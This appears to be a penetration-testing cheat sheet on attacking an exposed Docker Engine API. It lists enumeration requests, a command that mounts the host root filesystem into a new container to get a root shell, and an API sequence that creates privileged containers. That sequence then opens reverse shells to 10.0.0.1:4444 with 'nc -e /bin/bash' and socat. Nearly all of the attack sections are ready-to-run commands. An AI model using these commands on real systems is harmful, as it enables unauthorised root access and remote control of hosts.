# Docker Engine API Pentesting

The Docker Engine API is a RESTfull API accessed by an HTTP client. The default ports are 2375, 2376. The socket file is located at /var/run/docker.sock.

### Enumeration <a href="#enumeration" id="enumeration"></a>

```shellscript
curl <ip>:2375/containers/json
# The specific container
curl <ip>:2375/containers/<id or name>/json
# Logs
curl <ip>:2375/containers/<id or name>/logs?stderr=1&stdout=1
# Inpsect changes
curl <ip>:2375/containers/<id or name>/changes
```

### Privilege Escalation from Docker Image <a href="#privilege-escalation-from-docker-image" id="privilege-escalation-from-docker-image"></a>

We may be able to get a root shell from remote Docker images.

#### 1. Check if Docker is Running in Local Machine <a href="#id-1-check-if-docker-is-running-in-local-machine" id="id-1-check-if-docker-is-running-in-local-machine"></a>

In local machine, check if docker is running.

```shellscript
sudo systemctl status docker
```

If the docker is not running, start it.

```shellscript
sudo systemctl stop docker
sudo systemctl start docker
```

#### 2. List Remote Docker Images <a href="#id-2-list-remote-docker-images" id="id-2-list-remote-docker-images"></a>

We need to find what images exist in target Docker API.

```shellscript
docker -H <target-ip>:2375 images
```

#### 3. Get a Shell <a href="#id-3-get-a-shell" id="id-3-get-a-shell"></a>

After getting an image, we can use it to create a new container and run with executing `sh`.

```shellscript
docker -H <target-ip>:2375 run -v /:/mnt --rm -it <running-image-name> chroot /mnt sh
```

Now we should get a root shell.

<br>

### Remote Code Execution (RCE) <a href="#remote-code-execution-rce" id="remote-code-execution-rce"></a>

Reference: <https://dejandayoff.com/the-danger-of-exposing-docker.sock/>

We might be able to execute remote code by create a new container image using the existing one.

#### 1. Check the Image Name <a href="#id-1-check-the-image-name" id="id-1-check-the-image-name"></a>

First we need to find the existing container image and the name of it.

```shellscript
curl <ip>:2375/containers/json
curl <ip>:2375/containers/<id or name>/json
```

#### 2. Create/Start a New Container <a href="#id-2-createstart-a-new-container" id="id-2-createstart-a-new-container"></a>

If we found the container image name, prepare a new container configuration named “image.json”.

```shellscript
{
  "Image": "sweettoothinc:latest",
  "Cmd": ["/bin/bash"],
  "Binds": ["/:/mnt:rw"]
}
```

Then create a new container using Docker Engine API.

```shellscript
curl -X POST -H "Content-Type: application/json" -d @image.json <ip>:2375/containers/create
```

We get the new container ID, so copy it.

After that, start the new container.

```
curl -X POST <ip>:2375/containers/<new_container_id>/start
```

#### 3. Create a New Exec Instance <a href="#id-3-create-a-new-exec-instance" id="id-3-create-a-new-exec-instance"></a>

Next create a exec instance to reverse shell.

* **Ncat**

  ```
  curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["nc", "10.0.0.1", "4444", "-e", "/bin/bash"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
  ```
* **Socat**

  ```
  curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["socat", "TCP:10.0.0.1:4444", "EXEC:sh"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
  ```

We get a exec ID, so copy it.

#### 4. Start an Exec Instance & Reverse Shell <a href="#id-4-start-an-exec-instance-reverse-shell" id="id-4-start-an-exec-instance-reverse-shell"></a>

Start a listener in local machine.

```
nc -lvnp 4444
```

Now start an exec instance and get a shell.

```
curl -X POST -H "Content-Type: application/json" --data-binary '{"Detach": false, "Tty": false}' <ip>:2375/exec/<exec_id>/start
```

We should get a shell.

### References <a href="#references" id="references"></a>

* [Docker Docs](https://docs.docker.com/engine/api/v1.24/)
* [dejandayoff](https://dejandayoff.com/the-danger-of-exposing-docker.sock/)
